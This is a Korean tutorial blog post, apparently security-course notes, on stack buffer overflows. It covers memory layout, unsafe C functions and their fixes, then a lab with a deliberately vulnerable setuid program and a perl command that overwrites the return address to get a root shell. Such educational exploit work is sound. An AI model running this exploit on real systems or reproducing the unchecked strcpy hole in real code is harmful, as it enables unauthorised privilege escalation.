본문으로 바로가기
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

7. STACK BUFFER OVERFLOW (BOF)


1) 메모리 구조의 이해


▣ 유저 영역

- 어떤 프로그램을 동작 시키면 메모리에 프로그램이 동작하기 위한 가상의 메모리 공간이 생김.

- 이 때 상위 메모리는 스택(Stack), 하위메모리는 힙(Heap)이라는 공간이 생김.

☞ 스택 영역 : 함수의 매개변수, 반환되는 주소(RET=다음 실행될 주소), 지역변수

☞ 공유 라이브러리 영역 : 공유 라이브러리 파일들이 적재됨. -static으로 컴파일 시 이 안에 내용을 묶어서 컴파일.

☞ 힙 영역 : 동적으로 메모리를 할당.

☞ 데이터(bss) 영역 : 초기화 되지 않은 전역변수나 static 변수들.

☞ 데이터(data) 영역 : 초기화 된 전역변수, 상수, static 변수들.


▣ 스택 영역


2) Stack Buffer Overflow


▣ Stack Buffer Overflow

- 버퍼 오버플로우는 할당된 버퍼보다 많은 데이터가 삽입되었을 때 인접하는 메모리를 덮어쓰게 되는 취약점.

- 손상받는 데이터는 변수, 프로그램 흐름 제어임.


▣ BOF에 취약한 함수들.

 strcpy strcat gets fscanf scanf sprintf sscanf vfscanf vsprintf vscanf vsscanf streadd strecpy strtrns 

- 원인 : 문자열 처리함수에서 입력값에 대한 길이체크를 하지 않음.

- 대응 방안 : 근본적인 대응방안은 안전한 함수 사용 및 입력값 길이 체크가 검증이 필요.


▣ 간단한 실습

- BOF 공격시 필요한 것 : 거리 및 쉘코드 주소

- /tmp/bof.c 작성

- 컴파일 : # gcc -o bof bof.c -static

- 권한 : chmod 4755 bof

#include <stdio.h>

int main(int argc, char *argv[])
{
        char buffer[512];
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
        return 0;
}

- 해당 파일을 어셈블리어로 분석하면 거리까지는 EBP 포함 524 바이트 임을 알 수 있다.

- 거리를 알았으니 앞서 작성한 쉘코드를 직접 넣으려하니 스택이 매번 주소값이 랜덤으로 할당되기때문에 불가능함.

☞ 주소가 정적으로 고정되어 있는 환경변수를 이용하자!

☞ 환경변수는 주소값이 고정되어 있어 공격에 용이함.

- 환경변수 주소 구하기

☞ 일반사용자계정으로 /tmp/env.c 작성후 컴파일

☞ 사용법 : $ ./env 환경변수이름

#include <stdio.h>

int main(int argc, char *argv[])
{
        char *addr;
        addr =(char *) getenv(argv[1]);
        printf("located at %p\n", addr);
        return 0;
}

- 언어를 항상 영문판에서 다른걸로 바꿔줘야함!!!

☞ $ export LANG="ko_KR.euckr"

- 공격 예상도

- 환경변수에 쉘코드 주입(local 쉘코드)

☞ \x90 : NOP (안전빵으로 넣어둠)


- 공격

☞ $ ./bof `perl -e 'print "A"x524,"\xc5\xfd\xff\xbf";'`

☞ root의 권한으로 쉘이 켜짐.







i2sec 대구지점 23기 수료생.